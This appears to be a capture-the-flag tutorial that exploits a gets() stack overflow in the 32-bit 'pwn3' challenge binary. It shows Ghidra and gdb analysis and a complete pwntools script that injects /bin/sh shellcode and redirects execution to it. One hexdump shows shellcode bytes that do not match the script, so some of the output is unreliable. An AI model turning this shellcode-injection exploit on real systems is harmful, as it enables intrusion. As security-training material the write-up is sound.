[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
--2021-03-05 12:37:20-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following]
--2021-03-05 12:37:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K) [application/octet-stream]
Saving to: ‘pwn3’
pwn3 100%[============================================================================================================================================================================>] 7.18K --.-KB/s in 0.001s
2021-03-05 12:37:21 (12.1 MB/s) - ‘pwn3’ saved [7348/7348]
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ chmod +x pwn3
First let's execute the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xfff0aa1e!
thanks!
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ ./pwn3
Take this, you might need it on your journey 0xffa9ce0e!
No Thanks!
Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra:
We get the following code:
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
echo(puVar1);
return 0;
}
Here we see that the important part of the main function is the echo function:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void echo(void)
{
char local_12e [294];
printf("Take this, you might need it on your journey %p!\n",local_12e);
gets(local_12e);
return;
}
Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in.
Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from shell-storm.org.
Now let's use gdb to see how much space we have between the start of our input and the return address:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3]
→ gdb ./pwn3
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./pwn3...
(No debugging symbols found in ./pwn3)
gef➤ disas echo
Dump of assembler code for function echo:
0x0000059d <+0>: push ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx
0x000005a1 <+4>: sub esp,0x134
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005ac <+15>: add ebx,0x1a20
0x000005b2 <+21>: sub esp,0x8
0x000005b5 <+24>: lea eax,[ebp-0x12a]
0x000005bb <+30>: push eax
0x000005bc <+31>: lea eax,[ebx-0x191c]
0x000005c2 <+37>: push eax
0x000005c3 <+38>: call 0x410
0x000005c8 <+43>: add esp,0x10
0x000005cb <+46>: sub esp,0xc
0x000005ce <+49>: lea eax,[ebp-0x12a]
0x000005d4 <+55>: push eax
0x000005d5 <+56>: call 0x420
0x000005da <+61>: add esp,0x10
0x000005dd <+64>: nop
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
0x000005e1 <+68>: leave
0x000005e2 <+69>: ret
End of assembler dump.
Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in.
gef➤ b *echo+61
Breakpoint 1 at 0x5da
gef➤ r
Starting program: /home/nothing/binexp/2/pwn3/pwn3
Take this, you might need it on your journey 0xffffcfbe!
13371337
Breakpoint 1, 0x565555da in echo ()
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfbe → "13371337"
$ebx : 0x56556fcc → 0x00001ed4
$ecx : 0xf7f90540 → 0xfbad2288
$edx : 0xfbad2288
$esp : 0xffffcfa0 → 0xffffcfbe → "13371337"
$ebp : 0xffffd0e8 → 0xffffd0f8 → 0x00000000
$esi : 0x1
$edi : 0x56555460 → <_start+0> xor ebp, ebp
$eip : 0x565555da → add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfa0│+0x0000: 0xffffcfbe → "13371337" ← $esp
0xffffcfa4│+0x0004: 0xffffcfbe → "13371337"
0xffffcfa8│+0x0008: 0xffffcfff → 0xffd08000
0xffffcfac│+0x000c: 0x565555ac → add ebx, 0x1a20
0xffffcfb0│+0x0010: 0x00000000
0xffffcfb4│+0x0014: 0x00000000
0xffffcfb8│+0x0018: 0x00000000
0xffffcfbc│+0x001c: 0x3331b6ff
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x565555ce lea eax, [ebp-0x12a]
0x565555d4 push eax
0x565555d5 call 0x56555420
→ 0x565555da add esp, 0x10
0x565555dd nop
0x565555de mov ebx, DWORD PTR [ebp-0x4]
0x565555e1 leave
0x565555e2 ret
0x565555e3 lea ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565555da → echo()
[#1] 0x5655561a → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 13371337
Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
0x565581a0 - 0x565581aa → "13371337\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffcfbe - 0xffffcfc6 → "13371337"
gef➤ info frame
Stack level 0, frame at 0xffffd0f0:
eip = 0x565555da in echo; saved eip = 0x5655561a
called by frame at 0xffffd110
Arglist at 0xffffd0e8, args:
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
Saved registers:
ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
Here we see that the important addresses are 0xffffd0ec and 0xffffcfbe. So let's calculate the offset:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd0ec)
'0xffffd0ec'
>>> hex(0xffffd0ec - 0xffffcfbe)
'0x12e'
And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload :
[ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3]
→ vim exploit.py
from pwn import *
target = process('./pwn3')
#print the text, up to the address of the start of the input
print(target.recvuntil("journey "))
#Scan the rest of the line
leak = target.recvline()
Adr = int(leak.strip(b"!\n"),16)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = b""
payload += shellcode
payload += b"\x00" * (0x12e - len(payload))
payload += p32(Adr)
print(hexdump(payload))
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
Now let's check out our payload:
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 218489
b'Take this, you might need it on your journey '
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe d4 │····│····│····│····│
00000130 94 ff │··│
00000132
Now let's use the following 2 lines to feed our payload into the binary:
target.sendline(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 524665
b'Take this, you might need it on your journey '
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 dc 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 cc b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 27 │····│····│····│···'│
00000130 d7 ff │··│
00000132
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$cat flag.txt
flag{g0ttem_b0yz}
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './pwn3' stopped with exit code 0 (pid 524665)
[*] Got EOF while sending in interactive
And that's it! We have been able to print out the flag.
text
text